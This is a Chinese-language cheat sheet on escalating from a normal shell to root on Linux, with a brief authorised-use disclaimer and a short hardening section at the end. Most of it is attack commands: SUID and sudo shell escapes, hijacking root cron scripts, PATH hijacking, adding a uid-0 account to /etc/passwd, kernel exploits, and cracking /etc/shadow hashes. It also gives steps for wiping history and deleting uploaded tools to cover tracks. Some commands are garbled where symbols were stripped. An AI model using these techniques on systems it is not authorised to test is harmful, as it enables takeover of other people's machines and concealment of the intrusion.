Linux渗透提权思路与常用方法⚠️仅用于授权安全测试禁止对未授权机器操作违法将承担法律责任提权核心拿到普通Shell后寻找漏洞、错误配置、权限泄漏、可执行SUID、定时任务、内核漏洞从普通用户提升到root权限。一、信息收集提权第一步拿到shell先收集本机信息判断提权突破口系统版本、内核版本uname -acat /etc/os-release当前用户、id、sudo权限idsudo -l查看可写目录find / -writable -type d 2/dev/nullSUID/SGID程序重点SUID程序以属主身份运行find / -perm -us -type f 2/dev/null计划任务crontabcrontab -lcat /etc/crontabls -l /etc/cron.*环境变量、历史命令可能泄露密码envhistorycat ~/.bash_history查看数据库、配置文件是否有明文密码cat /etc/passwdcat /etc/shadow # 若可读可破解hash工具一键搜集linpeas.sh、linenum.sh上传到目标机器执行自动输出提权风险点。二、常见提权方式SUID 二进制提权文件设置us执行时拥有文件属主权限如果属主是root普通用户运行就拥有root权限。常见可利用SUID• /bin/bash如果设置SUIDbash -p # -p保留SUID权限直接拿到root shell• /find SUIDfind . -exec /bin/sh ; -quit• /vim SUIDvim -c ‘:!/bin/sh’• /nmap老版本交互模式nmap --interactive!sh注意现代系统很多二进制不再支持SUID提权要看实际版本。2. Sudo错误配置提权 sudo -lsudo -l查看当前用户允许sudo执行哪些命令很多配置错误允许普通用户sudo运行危险程序。示例允许sudo执行findsudo find . -exec /bin/sh ; -quit允许sudo执行vimsudo vim -c ‘:!/bin/bash’允许sudo执行less/moresudo less /etc/profile!bash允许sudo执行pythonsudo python3 -c ‘import os;os.system(“/bin/bash”)’Cron定时任务提权场景root的crontab调用的脚本/程序普通用户拥有写权限。root定时任务执行我们可控的脚本执行时就是root权限。发现/etc/cron.d/xxx里面执行/tmp/run.sh而/tmp/run.sh我们可写。改写run.sh写入反弹shell或者/bin/bashecho ‘chmod us /bin/bash’ /tmp/run.sh等待cron执行之后 bash -p 获取root常见目录/etc/cron.hourly /etc/cron.daily /etc/cron.d4. 内核漏洞提权内核存在本地提权CVE普通用户执行exp拿到root。• 经典CVE‑2016‑5195 Dirty COW脏牛低版本Linux• CVE‑2021‑3156 sudo溢出• CVE‑2022‑0847 Dirty Pipe流程uname -r获取内核版本查找对应exp编译上传到目标本地执行exp获取root风险内核exp不稳定有可能导致机器宕机测试环境慎用。密码泄露提权读取/etc/shadow拿到用户密码hash本地john/hashcat爆破密码拿到密码后直接su root或sudo su各种配置文件、历史命令、数据库配置中明文root密码~/.bash_history、web配置文件config.php、/etc/mysql/my.cnf环境变量劫持提权当root运行的程序调用外部命令没有写绝对路径。修改PATH把恶意同名脚本放到PATH前面root执行时调用恶意程序。示例root的suid程序调用ls不写全路径。我们写恶意ls把当前目录加入PATH执行suid程序就触发。可写/etc/passwd /etc/shadow普通用户如果可写/etc/passwd直接新增root账号生成密码hashopenssl passwd -1 123456在passwd增加一行hack:111xxxxxx:0:0::/root:/bin/bashsu hack 就是root权限三、提权常用工具LinPEAS最常用自动扫描全部提权点靶机无网络本机下载上传靶机chmod x linpeas.sh./linpeas.sh2. Linenum老版本信息搜集脚本GTFOBins网站 遇到可sudo/suid的程序直接查GTFOBins获取对应的shell payloadhttps://gtfobins.github.io/ 渗透必备几乎所有二进制提权payload都在这里。四、提权后痕迹简单处理测试环境清除historyhistory -cecho ‘’ ~/.bash_history删除上传的exp脚本rm -rf exp linpeas.sh五、防御建议安全加固角度定期升级内核、sudo修补本地提权CVE清理无用SUID文件最小化SUID程序严格配置sudo权限不允许普通用户sudo运行解释器、find/vim/python等高危程序cron脚本设置权限普通用户不可写root的定时脚本和脚本文件禁止普通用户读取shadow配置文件禁止存放明文密码定期运行linpeas自查风险配置简单实操流程总结拿到低权限shell → 执行linpeas做信息搜集 → 优先看sudo -l、SUID、cron任务 → 有可利用点直接拿root没有再看内核版本尝试内核exp最后找泄露密码。